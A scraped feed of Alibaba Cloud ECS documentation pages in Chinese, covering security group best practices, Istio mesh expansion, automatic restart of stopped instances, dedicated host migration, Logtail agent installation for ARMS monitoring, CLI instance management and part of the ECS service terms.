      您在云端安全组提供类似虚拟防火墙功能,用于设置单台或多台ECS实例的网络访问控制,是重要的安全隔离手段。创建ECS实例时,您必须选择一个安全组。您还可以添加安全组规则,对某个安全组下的所有ECS实例的出方向和入方向进行网络控制。

      在使用安全组前,您应先了解以下实践建议:

      • 最重要的规则:安全组应作为白名单使用。
      • 开放应用出入规则时应遵循最小授权原则。例如,您可以选择开放具体的端口,如80端口。
      • 不应使用一个安全组管理所有应用,因为不同的分层一定有不同的需求。
      • 对于分布式应用来说,不同的应用类型应该使用不同的安全组,例如,您应对Web层、Service层、Database层、Cache层使用不同的安全组,暴露不同的出入规则和权限。
      • 避免为每台实例单独设置一个安全组,控制管理成本。
      • 优先考虑专有网络VPC。
      • 不需要公网访问的资源不应提供公网IP。
      • 尽可能保持单个安全组的规则简洁。因为一台实例最多可以加入五个安全组,一个安全组最多可以包括200条安全组规则,所以一台ECS实例可能同时应用数百条安全组规则。您可以聚合所有分配的安全规则以判断是否允许流入或流出,但是,如果单个安全组规则很复杂,就会增加管理的复杂度。
      • 阿里云的控制台提供了克隆安全组和安全组规则的功能。如果您想要修改线上的安全组和规则,您应先克隆一个安全组,再在克隆的安全组上进行调试,避免直接影响线上应用。

        说明 调整线上的安全组的出入规则是比较危险的动作。如果您无法确定,不应随意更新安全组出入规则的设置。

      避免设置0.0.0.0/0授权对象

      允许全部入网访问是经常犯的错误。使用0.0.0.0/0意味着所有的端口都对外暴露了访问权限。这是非常不安全的。正确的做法是,先拒绝所有的端口对外开放。安全组应该是白名单访问。例如,如果您需要暴露Web服务,默认情况下可以只开放80、8080和443之类的常用TCP端口,其它的端口都应关闭。

      { "IpProtocol" : "tcp", "FromPort" : "80", "ToPort" : "80", "SourceCidrIp" : "0.0.0.0/0", "Policy": "accept"} ,
      { "IpProtocol" : "tcp", "FromPort" : "8080", "ToPort" : "8080", "SourceCidrIp" : "0.0.0.0/0", "Policy": "accept"} ,
      { "IpProtocol" : "tcp", "FromPort" : "443", "ToPort" : "443", "SourceCidrIp" : "0.0.0.0/0", "Policy": "accept"} ,

      关闭不需要的入网规则

      如果您当前使用的入规则已经包含了0.0.0.0/0,您需要重新审视自己的应用需要对外暴露的端口和服务。如果确定不想让某些端口直接对外提供服务,您可以加一条拒绝的规则。例如,如果您的服务器上安装了MySQL数据库服务,默认情况下您不应该将3306端口暴露到公网,此时,您可以添加一条拒绝规则,如下所示,并将其优先级设为100,即优先级最低。

      { "IpProtocol" : "tcp", "FromPort" : "3306", "ToPort" : "3306", "SourceCidrIp" : "0.0.0.0/0", "Policy": "drop", Priority: 100} ,

      上面的调整会导致所有的端口都不能访问3306端口,极有可能会阻止您正常的业务需求。此时,您可以通过授权另外一个安全组的资源进行入规则访问。

      以安全组为授权对象添加规则

      不同的安全组按照最小原则开放相应的出入规则。对于不同的应用分层应该使用不同的安全组,不同的安全组应有相应的出入规则。

      例如,如果是分布式应用,您会区分不同的安全组,但是,不同的安全组可能网络不通,此时您不应该直接授权IP或者CIDR网段,而是直接授权另外一个安全组ID的所有的资源都可以直接访问。例如,您的应用对Web、Database分别创建了不同的安全组:sg-web和sg-database。在sg-database中,您可以添加如下规则,授权所有的sg-web安全组的资源访问您的3306端口。

      { "IpProtocol" : "tcp", "FromPort" : "3306", "ToPort" : "3306", "SourceGroupId" : "sg-web", "Policy": "accept", Priority: 2} ,

      以IP地址段为授权对象添加规则

      经典网络中,因为网段不太可控,建议您使用安全组ID来授信入网规则。

      VPC网络中,您可以自己通过不同的VSwitch设置不同的IP域,规划IP地址。所以,在VPC网络中,您可以默认拒绝所有的访问,再授信自己的专有网络的网段访问,直接授信可以相信的CIDR网段。

      { "IpProtocol" : "icmp", "FromPort" : "-1", "ToPort" : "-1", "SourceCidrIp" : "10.0.0.0/24", Priority: 2} ,
      { "IpProtocol" : "tcp", "FromPort" : "0", "ToPort" : "65535", "SourceCidrIp" : "10.0.0.0/24", Priority: 2} ,
      { "IpProtocol" : "udp", "FromPort" : "0", "ToPort" : "65535", "SourceCidrIp" : "10.0.0.0/24", Priority: 2} ,

      变更安全组规则步骤

      变更安全组规则可能会影响您的实例间的网络通信。为了保证必要的网络通信不受影响,您应先尝试以下方法放行必要的实例,再执行安全组策略收紧变更。

      说明 执行收紧变更后,应观察一段时间,确认业务应用无异常后再执行其它必要的变更。

      • 新建一个安全组,将需要互通访问的实例加入这个安全组,再执行变更操作。
      • 如果授权类型为安全组访问,则将需要互通访问的对端实例所绑定的安全组ID添加为授权对象。
      • 如果授权类型为地址段访问,则将需要互通访问的对端实例内网IP添加为授权对象。

      具体操作指引请参见添加安全组规则

      ]]> 基于Istio实现Kubernetes与ECS上的应用服务混合编排_Istio_最佳实践_容器服务Kubernetes版-阿里云 Fri, 02 May 2025 09:39:04 +0800 基于Istio实现Kubernetes与ECS上的应用服务混合编排

      更新时间:2020-03-27 10:23:43

      编辑 我的收藏

      新浪微博 微信 钉钉

      本页目录

      背景信息

      Istio从0.2开始就提供Mesh Expansion(中文大多称之为网格扩展)的功能。其主要功能是把一些非Kubernetes服务(这些服务往往运行在其他一些虚拟机或物理裸机中)集成到运行在Kubernetes集群上的Istio服务网格中。

      阿里云Kubernetes容器服务提供Istio Mesh Expansion整合能力。本文通过一个官方示例来重点介绍如何使用Istio实现Kubernetes与ECS上的应用服务混合编排。

      网格扩展Mesh Expansion

      Mesh Expansion就指部署在Kubernetes之中的Istio服务网格提供的一种将虚拟机或物理裸机集成进入到服务网格的方法。

      Mesh Expansion对于用户从遗留系统往云上迁移过程中有着非常重要的作用,在微服务体系结构中,无法要求所有的工作负载都在Kubernetes中运行,用户的一些应用程序可能在Kubernetes中运维,而另外一些可能在其它虚拟机或物理裸机中运行。

      通过一套Istio控制面板就可以管理跨Kubernetes与虚拟机或物理裸机的若干服务。这样既能保证原有业务的正常运转,又能实现Kubernetes与虚拟机上的应用服务混合编排的能力。

      准备Kubernetes集群并部署Istio

      阿里云容器服务Kubernetes 1.10.4目前已经上线,可以通过容器服务管理控制台非常方便地快速创建Kubernetes集群。具体过程请参见创建Kubernetes集群

      说明 确保通过kubectl能够连接上Kubernetes集群,参见通过kubectl连接上Kubernetes集群

      参考前面系列文章中介绍的步骤,通过应用目录简便部署Istio。首先通过命令行或者控制台创建命名空间istio-system

      1. 登录容器服务管理控制台
      2. 单击左侧的服务网格 > Istio管理
      3. 在打开的页面中选择要部署的集群,通过修改参数配置进行定制化安装。

        说明

        文档提供了安装和卸载的一些重要信息,特别是常见的CRD(custom resource definition)版本问题。

        在使用阿里云Kubernetes容器服务Istio 1.0的过程中,如果遇到类似CRD版本问题,请参考我们提供的阿里云Kubernetes容器服务Istio实践之常见问题分析。 我们会持续更新遇到的问题及其解决方法。

      安装示例到Kubernetes集群中

      首先通过如下命令行或者控制台创建命名空间bookinfo,并部署我们修改之后的应用。在这个修改后的版本中去掉了details组件,并定义了ingressgateway

      本示例中涉及到的文件可以从示例获取到。

      kubectl create ns bookinfo
      kubectl label namespace bookinfo istio-injection=enabled
      kubectl apply -n bookinfo -f ./bookinfo/bookinfo-without-details.yaml
      kubectl apply -n bookinfo -f ./bookinfo/bookinfo-gateway.yaml

      基于官方示例修改的部署,其中details组件和数据库运行在Kubernetes之外的ECS上。

      部署

      正常运行之后,通过ingressgateway暴露的地址访问/productpage页面,效果应该如下所示,details部分应该不能正常显示。

      error

      设置Kubernetes

      1. 如果在安装Istio时没有为Kube DNS、Pilot、Mixer以及Citadel设置内部负载均衡器,则需要进行以下设置,命令如下。

        kubectl apply -f ./mesh-expansion.yaml
        4个服务创建如下。
        服务

      2. 生成Istio的配置cluster.env与DNS配置文件kubedns,用来在虚拟机上进行配置。其中cluster.env文件包含了将要拦截的集群IP范围,kubedns文件则是让虚拟机上的应用能够解析集群的服务名称,然后被Sidecar劫持和转发。

        执行命令如下。

        ./setupMeshEx.sh generateClusterEnvAndDnsmasq

        生成的cluster.env配置文件的示例。

        nodes

        生成的kubedns文件的示例。

        nodes

      设置ECS

      配置你自己的工作环境与ECS实例的授权,生成SSH key并分发到ECS中。可以通过ssh root@<ECS_HOST_IP>命令确认是否可以成功连上ECS虚机。

      生成公钥。

      ssh-keygen -b 4096 -f ~/.ssh/id_rsa -N ""

      说明 为保证ECS能与Kubernetes网络上可通,可以将ECS与Kubernetes加入到同一个安全组。

      阿里云容器服务针对ECS的设置步骤提供了较好的用户体验,通过运行以下脚本即可完成配置。

      export SERVICE_NAMESPACE=default
      ./setupMeshEx.sh machineSetup root@<ECS_HOST_IP>

      检查运行的进程。

      ps aux |grep istio
      nodes

      Istio认证使用的Node Agent健康运行。

      sudo systemctl status istio-auth-node-agent

      在ECS上运行务

      由前面示例部署图知道,有2个服务需要运行在ECS上,一个是Details服务,另一个是数据库服务。

      在ECS上运行Details服务

      通过以下命令模拟(仅仅是用Docker模拟而已)一个Details服务,运行在ECS上并暴露端口9080 。

      docker pull istio/examples-bookinfo-details-v1:1.8.0
      docker run -d -p 9080:9080 --name details-on-vm istio/examples-bookinfo-details-v1:1.8.0

      配置Sidecar来拦截端口,这一配置存在于/var/lib/istio/envoy/sidecar.env,使用环境变量ISTIO_INBOUND_PORTS

      示例 (在运行服务的虚拟机上)

      echo"ISTIO_INBOUND_PORTS=9080,8080" > /var/lib/istio/envoy/sidecar.env
      systemctl restart istio

      注册数据库服务到Istio

      配置Sidecar来拦截端口,这一配置存在于/var/lib/istio/envoy/sidecar.env,使用环境变量ISTIO_INBOUND_PORTS

      示例 (在运行服务的虚拟机上)

      echo"ISTIO_INBOUND_PORTS=3306,9080,8080" > /var/lib/istio/envoy/sidecar.env
      systemctl restart istio

      同样地,在一个有权限且能够使用istioctl命令的服务器上,注册数据库服务。

      istioctl-nbookinforegistermysqldb 192.168.3.202 3306

      经过这个步骤,Kubernetes Pod和其他网格扩展包含的服务器就可以访问运行于这一服务器上的数据库服务了。

      此时访问/productpage页面,效果应该如下所示,details与ratings部分均能正常显示,而且这2个服务都来自于ECS。

      error

      总结

      阿里云Kubernetes容器服务已经提供了Istio Mesh Expansion整合能力,本文通过一个官方示例演示如何简单有效的集成Istio到自己项目的微服务开发中。

      ]]> 通过OOS自动启动意外停止的ECS实例_事件运维_最佳实践_运维编排服务-阿里云 Fri, 02 May 2025 09:39:04 +0800 通过OOS自动启动意外停止的ECS实例

      更新时间:2020-01-06 16:27:45

      本页目录

      极端情况下ECS实例可能会意外停止,如果通过OOS的事件触发器对ECS实例进行监控,一旦实例停止事件发生,则自动地对实例执行启动逻辑,进而实现ECS实例的快恢复,公共模版指定标签下的实例关机时自动重启

      步骤拆分

      1. 对阿里云账号下的ECS实例分组。
      2. 监控是否有ECS实例停止事件的发生。
      3. 一旦有ECS实例停止,检查其是否为需要启动分组的ECS实例。
      4. 校验停止的实例是否属于自动启动的分组。若不属于,则忽略此ECS实例的停止事件;若属于,则执行后续逻辑。
      5. 启动停止的实例。
      6. 等待停止的实例启动成功。

      公共模版任务

      1. 监控变为停止状态ECS实例。
      2. 检查ECS实例是否有指定的分组标签。
      3. 若不带标签则忽略实例的停止。
      4. 若带标签则启动该实例。

      模版参数

      • tags :要自动启动实例的标签
      • OOSAssumeRole: OOS扮演的RAM角色。

      操作指南

      1. 首先登录到运维编排控制台
      2. 单击 公共模板,选择指定标签下的实例关机时自动重启
      3. 单击 创建执行
      4. 单击 下一步,设置参数oos
      5. 单击 下一步,确定 ,单击 创建执行 。在执行管理中可查看刚刚创建的执行,若创建执行成功,且执行状态处于等待中,则表示ECS实例已开始被监控,一旦有ECS实例被停止,则会触发eventTrigger任务后面的任务执行。oos

      6. 那么我们现在就演示下ECS实例自启动,下图是该Tag下运行中的3台实例。image.png

      7. 我们现在通过手动停止这3台实例,模拟实例意外停止。image.png
      8. 当实例停止后,执行状态由等待中转换为运行中,开始执行对停止的ECS实例的启动。oos

      9. 片刻后,刷新ECS实例的状态,可发现该Tag下被停止的ECS实例已经自启动完成,又变回了运行中状态。image.png

      ]]> 将ECS实例从共享宿主机迁移到DDH_用户指南_专有宿主机-阿里云 Fri, 02 May 2025 09:39:04 +0800 将ECS实例从共享宿主机迁移到DDH

      更新时间:2019-10-16 10:19:58

      编辑 我的收藏

      新浪微博 微信 钉钉

      本页目录

      您可以根据业务需要,将共享宿主机上的ECS实例迁移到指定DDH上,灵活部署业务。

      前提条件

      • 待迁移的ECS实例必须处于已停止状态。停止实例的具体操作,请参见停止实例

        注意 停止实例会中断您的业务,请谨慎操作。

      • 您至少拥有1台DDH,并且该DDH必须满足以下条件:
        • 与待迁移ECS实例必须属于同一账号、同一地域和可用区。
        • 可用资源足够分配给待迁移的ECS实例。查看DDH可用资源,请参见查看DDH资源
        • 支持待迁移的ECS实例规格。不同类型DDH支持的实例规格,请参见宿主机规格。 创建DDH,请参见创建DDH

          说明 本地型ECS实例不能迁移到本地SSD型DDH上。

      背景信息

      迁移ECS实例之前,请阅读以下注意事项:
      • 将ECS实例从共享宿主机迁移至专有宿主机时,实例的计费方式只能是按量付费,不支持抢占式实例。包年包月实例需先转成按量付费实例,详情请参见包年包月转按量付费
      • 按量付费ECS实例可以迁移到包年包月专有宿主机上。

      操作步骤

      1. 登录ECS管理控制台
      2. 在左侧导航栏,单击实例与镜像 > 实例
      3. 在顶部状态栏左上角处,选择地域。
      4. 可选: 在实例列表中,显示宿主机列。
        1. 实例列表页面的右上角,单击自定义配置项图标。
        2. 自定义列表项对话框中,选中宿主机,并单击确定

        您可以在实例列表页面看到宿主机列,方便您确认ECS实例是否属于某台DDH。

      5. 选中待迁移的ECS实例,在操作列,单击更多 > 实例设置 > 调整宿主机部署
      6. 调整宿主机部署页面,参见下表,完成配置。

        参数 是否必填 说明
        目标宿主机 选择ECS实例要迁入的DDH。

        说明 若您账号下的DDH均不满足前提条件,则目标宿主机列表为空。DDH需满足的条件,请参见前提条件

        关联宿主机 选择ECS实例是否固定在要迁入的DDH上。 更多详情,请参见关联宿主机功能介绍
        • :ECS实例固定在要迁入的DDH上。实例停机并释放资源后,再次启动时,依然部署在该DDH上。若该DDH可用资源不足,则实例启动失败。
        • :ECS实例不固定在要迁入的DDH上。实例停机并释放资源后,再次启动时,优先部署在该DDH上。若该DDH可用资源不足,则系统从允许自动部署的DDH中,自动选择DDH部署实例。

        若该参数值为空,则默认取值为

      7. 单击确定

      执行结果

      刷新实例列表页面,ECS实例迁移后所对应的宿主机已更新为您指定的DDH,并且实例自动启动,最终进入运行中状态。

      ]]> 管理 ECS 数据源_管理数据源_自定义监控_应用实时监控服务 ARMS-阿里云 Fri, 02 May 2025 09:39:04 +0800 管理 ECS 数据源

      更新时间:2020-01-09 19:54:44

      编辑 我的收藏

      新浪微博 微信 钉钉

      本页目录

      ECS 实例是重要的日志产生来源,也是 ARMS 支持的自定义监控数据源。您可以授权 ARMS 将您阿里云账号下的 ECS 实例信息同步至 ARMS 控制台,为这些实例安装 Logtail 日志采集 Agent。您也可以为这些 ECS 实例分组以便管理。

      前提条件

      执行同步 ECS 操作时必须使用阿里云账号或具备完整权限(包括全部读权限和写权限)的 RAM 用户,不可使用不具备完整权限的 RAM 用户,例如仅具备只读权限的 RAM 用户。

      同步 ECS 实例

      为了进行后续的管理,首先需要将您阿里云账号下的 ECS 实例信息同步至 ARMS 控制台。

      1. 登录 ARMS 控制台
      2. 在左侧导航栏中选择自定义监控数据源管理 > 云服务器 ECS
      3. 实例列表页面顶部选择目标地域,单击右上角的同步ECS

        说明 同步操作仅针对当前所选地域。

        ECS Datasource Regions

      4. 如果您此前没有授权,则在提示框中单击进入RAM进行授权

        Dialog Box Authorize ARMS

      5. 云资源访问授权页面选择所需权限,并单击 同意授权

        Dialog Box Cloud Resource Authorization

        说明 如果您使用的是不具备完整权限的 RAM 子账号,则无法授权。请使用阿里云主账号或具备完整权限的 RAM 用户授权。

      检查 Logtail Agent 状态

      ARMS 系统通过 Logtail Agent 日志收集客户端来收集 ECS 实例上的日志,故需为每台 ECS 实例安装 Logtail Agent。

      安装前需要检查 Logtail Agent 状态,可以对单个 ECS 实例执行检查,也可以对选中的多个 ECS 实例执行批量检查。

      • 对单个 ECS 实例执行检查:在云服务器ECS页签上,在目标 ECS 实例右侧操作列中单击检查Agent
      • 对多个 ECS 实例执行检查:在云服务器ECS上,勾选所有目标 ECS 实例,并单击页面底部的批量检测Agent

      安装 Logtail Agent

      若检查发现未安装 Logtail Agent,请按照以下步骤安装:

      1. 下载 Agent。请根据 ECS 实例的网络环境和日志服务所在地域替换 <logtail.sh_path>

        wget <logtail.sh_path> -O logtail.sh
        网络类型 地域 下载地址
        经典网络 华北 2(北京) http://logtail-release-cn-beijing.oss-cn-beijing-internal.aliyuncs.com/linux64/logtail.sh
        华北 1(青岛) http://logtail-release-cn-qingdao.oss-cn-qingdao-internal.aliyuncs.com/linux64/logtail.sh
        华东 1(杭州) http://logtail-release-cn-hangzhou.oss-cn-hangzhou-internal.aliyuncs.com/linux64/logtail.sh
        华东 2(上海) http://logtail-release-cn-shanghai.oss-cn-shanghai-internal.aliyuncs.com/linux64/logtail.sh
        华南 1(深圳) http://logtail-release-cn-shenzhen.oss-cn-shenzhen-internal.aliyuncs.com/linux64/logtail.sh
        VPC 华北 2(北京) http://logtail-release-bj.vpc100-oss-cn-beijing.aliyuncs.com/linux64/logtail.sh
        华东 1(杭州) http://logtail-release.vpc100-oss-cn-hangzhou.aliyuncs.com/linux64/logtail.sh
        华东 2(上海) http://logtail-release-sh.vpc100-oss-cn-shanghai.aliyuncs.com/linux64/logtail.sh
        华南 1(深圳) http://logtail-release-sz.vpc100-oss-cn-shenzhen.aliyuncs.com/linux64/logtail.sh
        公网(自建 IDC 或其他云主机) 华北 2(北京) http://logtail-release-cn-beijing.oss-cn-beijing.aliyuncs.com/linux64/logtail.sh
        华北 1(青岛) http://logtail-release-cn-qingdao.oss-cn-qingdao.aliyuncs.com/linux64/logtail.sh
        华东 1(杭州) http://logtail-release-cn-hangzhou.oss-cn-hangzhou.aliyuncs.com/linux64/logtail.sh
        华东 2(上海) http://logtail-release-cn-shanghai.oss-cn-shanghai.aliyuncs.com/linux64/logtail.sh
        华南 1(深圳) http://logtail-release-cn-shenzhen.oss-cn-shenzhen.aliyuncs.com/linux64/logtail.sh

      2. 执行授权操作。

        chmod 755 logtail.sh

      3. 安装 Agent。请根据 ECS 实例的网络环境和日志服务所在地域替换 <region_id>

        sudo ./logtail.sh install <region_id>
        网络类型 地域 地域 ID
        经典网络 华北 2(北京) cn-beijing
        华北 1(青岛) cn-qingdao
        华东 1(杭州) cn-hangzhou
        华东 2(上海) cn-shanghai
        华南 1(深圳) cn-shenzhen
        VPC 华北 2(北京) cn_beijing_vpc
        华东 1(杭州) cn_hangzhou_vpc
        华东 2(上海) cn_shanghai_vpc
        华南 1(深圳) cn_shenzhen_vpc
        公网(自建 IDC 或其他云主机) 华北 2(北京) cn-beijing-internet
        华北 1(青岛) cn-qingdao-internet
        华东 1(杭州) cn-hangzhou-internet
        华东 2(上海) cn-shanghai-internet
        华南 1(深圳) cn-shenzhen-internet

      4. 创建配置文件。

        sudo touch /etc/ilogtail/users/1098370038733503

      执行完上述步骤后,按照检查 Logtail Agent 状态的说明操作。若 Agent 状态变为已安装则表示安装成功。

      卸载 Logtail Agent

      按照1的说明下载 Logtail Agent,并在 Shell 环境下以管理员身份运行以下命令:

      sudo sh logtail.sh uninstall
      sudo rm -rf /etc/ilogtail/users/1098370038733503 

      创建 ECS 分组

      1. 登录 ARMS 控制台
      2. 在控制台左侧导航栏中选择自定义监控数据源管理 > 云服务器 ECS,并单击云服务器ECS分组页签。
      3. 云服务器ECS分组页签单击右上角的创建ECS分组
      4. 新增ECS分组对话框中,输入组名、选择地域(Region)、添加需要加入当前分组的 ECS 实例,单击确定

        说明 只能将同一个地域下的 ECS 实例纳入同一个 ECS 分组。

        Create ECS Instances Group

      查看 ECS 分组内的实例详情

      云服务器ECS分组页签,单击 ECS 分组的展开按钮,即可查看该分组内的 ECS 实例详细信息,如图所示。

      ECS分组详情

      您也可以在此页面将特定 ECS 实例从分组中移除。

      编辑 ECS 分组

      单击 ECS 分组的铅笔按钮,即可修改该 ECS 分组的信息。例如,您可以修改 ECS 分组名称,添加 ECS 实例到分组,或者将某个 ECS 实例从分组中移除。

      编辑ECS分组

      删除 ECS 分组

      单击 ECS 分组的删除按钮,即可删除当前分组。

      更多信息

      不是您要找的文档?鼠标悬浮在这里试一试。

      • 应用监控

        监控 Java/PHP 应用,查看应用拓扑、接口调用、异常事务、慢事务等。

      • 前端监控

        从页面打开速度、页面稳定性和外部服务调用成功率三方面监测 Web 页面和小程序的健康度。

      • 自定义监控

        对于高度定制化的业务场景,可以建立自定义监控任务对日志进行清洗,自由统计所需指标。

      • 使用控制台

        应用监控 3D 拓扑图

        MQ 监控

        自定义配置

      • 使用控制台

        自定义统计

        前后端链路追踪

      • 使用控制台

        自定义切分的使用

        内置切分器

      • 常见问题

        应用监控常见问题

      • 常见问题

        前端监控常见问题

        Script Error 产生原因及解法

      • 常见问题

        关于自定义清洗的常见问题

        任务运行错误处理

      • 交互大盘

        交互大盘概述

        创建交互大盘

        管理交互大盘

      • API 参考

        ARMS API 概述

        安装 ARMS SDK

        下钻数据集查询接口

        通用数据集查询接口

        Metric 查询接口

      • 自定义监控数据源管理

        ECS 数据源

        LogHub 数据源

        Logstash SDK 数据源

        MQ 数据源

        自定义监控数据源常见问题

      ]]> 管理云服务器ECS实例_SDK/CLI最佳实践_集成开发最佳实践-阿里云 Fri, 02 May 2025 09:39:04 +0800 管理云服务器ECS实例

      更新时间:2019-05-08 14:28:34

      编辑 我的收藏

      新浪微博 微信 钉钉

      本页目录

      您可以通过使用Alibaba Cloud CLI调用阿里云ECS API,创建单个或者多个ECS实例并对实例进行定制或配置更改。也可以对云服务器ECS实例进行各种运维操作,包括启动、停止、重启、释放等。

      产品架构

      您可以通过使用Alibaba Cloud CLI,或者使用阿里云SDK编写代码,调用阿里云ECS API管理云服务器实例和进行各项运维操作。具体架构如下图所示:



      相关API

      您可以通过使用Alibaba Cloud CLI调用以下API,完成对云服务器ECS实例的管理和运维操作。

      API名称 说明
      RunInstances 创建一台或多台按量付费或者预付费(包年包月)实例。
      StartInstance 指定实例ID,启动一台云服务器ECS实例。
      StopInstance 指定实例ID,停止一台云服务器ECS实例。

      典型案例

      您可以参考以下操作,对ECS实例进行运维管理:

      1. 下载和安装Alibaba Cloud CLI,详情请参考安装CLI
      2. 配置Alibaba Cloud CLI,详情请参考配置CLI

        说明 在配置Alibaba Cloud CLI之前,您需要获取访问密钥(AccessKey)。请登录AccessKey管理控制台,创建AccessKey,或者联系系统管理员获取授权账号。

        $ aliyun configure
        Configuring profile 'default' ...
        Aliyun Access Key ID [None]: <Your AccessKey ID>
        Aliyun Access Key Secret [None]: <Your AccessKey Secret>
        Default Region Id [None]: cn-hangzhou
        Default output format [json]: json
        Default Language [zh]: zh
      3. 使用Alibaba Cloud CLI管理云服务器ECS实例。

        命令行格式为:

        $ aliyun ecs actionName --parameter1 value1 --paramter2 value2... 
        示例如下:
        • 执行如下命令,创建云服务器ECS实例:
          $ aliyun ecs RunInstances --LaunchTemplateId <LaunchTemplateId>

          其中,LaunchTemplateId是要使用的实例模板ID。

        • 执行如下命令,启动云服务器ECS实例:
          $ aliyun ecs StartInstance --InstanceId <InstanceId>

          其中,InstanceId是要启动的ECS实例的ID。

        • 执行如下命令,停止运行云服务器ECS实例:
          $ aliyun ecs StopInstance --InstanceId <InstanceId>

          其中,InstanceId是要停止的ECS实例的ID。

      下一篇:为负载均衡实例设置后端服务器

      相关文档

      以上内容是否对您有帮助?

      在文档使用中是否遇到以下问题

      • 内容错误

      • 更新不及时

      • 链接错误

      • 缺少代码/图片示例

      • 太简单/步骤待完善

      • 其他

      • 内容错误

      • 更新不及时

      • 链接错误

      • 缺少代码/图片示例

      • 太简单/步骤待完善

      • 其他

      更多建议

      匿名提交

      感谢您的打分,是否有意见建议想告诉我们?

      感谢您的反馈,反馈我们已经收到

      文档反馈

      ]]>
      云服务器服务(ECS)服务条款_云服务器服务(ECS)服务条款_相关协议_云服务器 ECS-阿里云 Fri, 02 May 2025 09:39:04 +0800 云服务器服务(ECS)服务条款

      更新时间:2017-09-30 15:51:20

      本页目录

      本服务条款是阿里云计算有限公司(以下简称“阿里云”)与您就云服务器服务(Elastic Compute Service,简称ECS,亦可称为“弹性计算服务”)的相关事项所订立的有效合约。您通过盖章、网络页面点击确认或以其他方式选择接受本服务条款,包括但不限于未点击确认本服务条款而事实上使用了阿里云ECS服务,即表示您与阿里云已达成协议并同意接受本服务条款的全部约定内容。如若双方盖章文本与网络页面点击确认或以其他方式选择接受之服务条款文本,存有不一致之处,以双方盖章文本为准。

      关于本服务条款,提示您特别关注限制、免责条款,阿里云对您违规、违约行为的认定处理条款,以及管辖法院的选择条款等。限制、免责条款可能以加粗或加下划线形式提示您注意。在接受本服务条款之前,请您仔细阅读本服务条款的全部内容。如果您对本服务条款的条款有疑问的,请通过阿里云相关业务部门进行询问,阿里云将向您解释条款内容。如果您不同意本服务条款的任意内容,或者无法准确理解阿里云对条款的解释,请不要进行后续操作。

      1. 服务内容

      1.1. 本条款中“服务”指:阿里云向您提供 www.aliyun.com 网站上所展示的云服务器服务以及相关的技术及网络支持服务。

      1.2. 阿里云提供的服务必须符合本服务条款的约定。

      2. 服务费用

      2.1. 服务费用将在您订购页面予以列明公示,您可自行选择具体服务类型并按列明的价格予以支付。

      2.2. 您可选择预付费或后付费:

      2.2.1. 预付费

      2.1.1.1. 在您付费之后,阿里云才开始为您提供服务。您未在下单后7天内付费的,本服务条款以及与您就服务所达成的一切行为失效。

      2.1.1.2. 服务期满双方愿意继续合作的,您至少应在服务期满前7天内支付续费款项,以使服务得以继续进行。如续费时阿里云对产品体系、名称或价格进行调整的,双方同意按照届时有效的新的产品体系、名称或价格履行。

      2.2.2. 后付费。您先使用后付费。具体扣费规则请查看 www.aliyun.com 上的页面公告且以页面公布的后付费服务当时有效的计费模式、标准为准。

      2.3. 阿里云保留在您未按照约定支付全部费用之前不向您提供服务和/或技术支持,或者终止服务和/或技术支持的权利。同时,阿里云保留对后付费服务中的欠费行为追究法律责任的权利。

      2.4. 您完全理解阿里云价格体系中所有的赠送服务项目或活动均为阿里云在正常服务价格之外的一次性特别优惠,优惠内容不包括赠送服务项目的修改、更新及维护费用,并且赠送服务项目不可折价冲抵服务价格。

      3. 权利义务

      3.1. 您的权利、义务

      3.1.1. 您同意遵守本服务条款以及服务展示页面的相关管理规范及流程。您了解上述协议及规范等的内容可能会不时变更。如本服务条款的任何内容发生变动,阿里云应通过提前30天在 www.aliyun.com 的适当版面公告向您提示修改内容。如您不同意阿里云对本服务条款相关条款所做的修改,您有权停止使用阿里云的服务,此等情况下,阿里云应与您进行服务费结算(如有),并且您应将业务数据迁出。如您继续使用阿里云服务,则视为您接受阿里云对本服务条款相关条款所做的修改。

      3.1.2. 您应按照阿里云的页面提示及本服务条款的约定支付相应服务费用。

      3.1.3. 您承诺:

      3.1.3.1. 如果您利用阿里云提供的服务进行经营或非经营的活动需要获得国家有关部门的许可或批准的,应获得该有关的许可或批准。包括但不限于以下内容:
      3.1.3.1.1. 如果您在云服务器服务上开办了多个网站,须保证所开办的全部网站均获得国家有关部门的许可或批准;
      3.1.3.1.2. 如您网站提供非经营性互联网信息服务的,必须办理非经营性网站备案,并保证所提交的所有备案信息真实有效,在备案信息发生变化时及时在备案系统中提交更新信息;
      3.1.3.1.3. 如您网站提供经营性互联网信息服务的,还应自行在当地通信管理部门取得经营性网站许可证;
      3.1.3.1.4. 如您如提供BBS等电子公告服务的,也需根据相关法规政策要求备案或获得相应批准;
      3.1.3.1.5. 如您经营互联网游戏网站的,您应依法获得网络文化经营许可证;
      3.1.3.1.6. 如您经营互联网视频网站的,您应依法获得信息网络传播视听节目许可证;
      3.1.3.1.7. 若您从事新闻、出版、教育、医疗保健、药品和医疗器械等互联网信息服务,依照法律、行政法规以及国家有关规定须经有关主管部门审核同意,在申请经营许可或者履行备案手续前,应当依法经有关主管部门审核同意。
      您理解并认可,以上列举并不能穷尽您进行经营或非经营活动需要获得国家有关部门的许可或批准的全部类型,您应获得有关的许可或批准,并应符合国家及地方不时颁布相关法律法规之要求。

      3.1.3.2. 除阿里云明示许可外,不得修改、翻译、改编、出租、转许可、在信息网络上传播或转让阿里云提供的服务或软件,也不得逆向工程、反编译或试图以其他方式发现阿里云提供的服务或软件的源代码;

      3.1.3.3. 若阿里云的服务涉及第三方软件之许可使用的,您同意遵守相关的许可协议的约束;

      3.1.3.4. 不散布电子邮件广告、垃圾邮件(SPAM):不利用阿里云提供的服务散发大量不受欢迎的或者未经请求的电子邮件、电子广告或包含反动、色情等有害信息的电子邮件;

      3.1.3.5. 不得将阿里云所提供的云服务器用作虚拟服务器、或用作磁盘空间出租,或用作非法代理服务器(Proxy)或邮件服务器(根据阿里云《云平台安全规则》,未经报备许可云服务器不得用于连接SMTP服务发送邮件,阿里云默认将禁止云服务器用于SMTP服务);

      3.1.3.6. 不利用阿里云提供的资源和服务上传(Upload)、下载(download)、储存、发布如下信息或者内容,不为他人发布该等信息提供任何便利(包括但不限于设置URL、BANNER链接等):
      3.1.3.6.1. 违反国家规定的政治宣传和/或新闻信息;
      3.1.3.6.2. 涉及国家秘密和/或安全的信息;
      3.1.3.6.3. 封建迷信和/或淫秽、色情、下流的信息或教唆犯罪的信息;
      3.1.3.6.4. 博彩有奖、赌博游戏、“私服”、“外挂”等非法互联网出版活动;
      3.1.3.6.5. 违反国家民族和宗教政策的信息;
      3.1.3.6.6. 妨碍互联网运行安全的信息;
      3.1.3.6.7. 侵害他人合法权益的信息和/或其他有损于社会秩序、社会治安、公共道德的信息或内容;
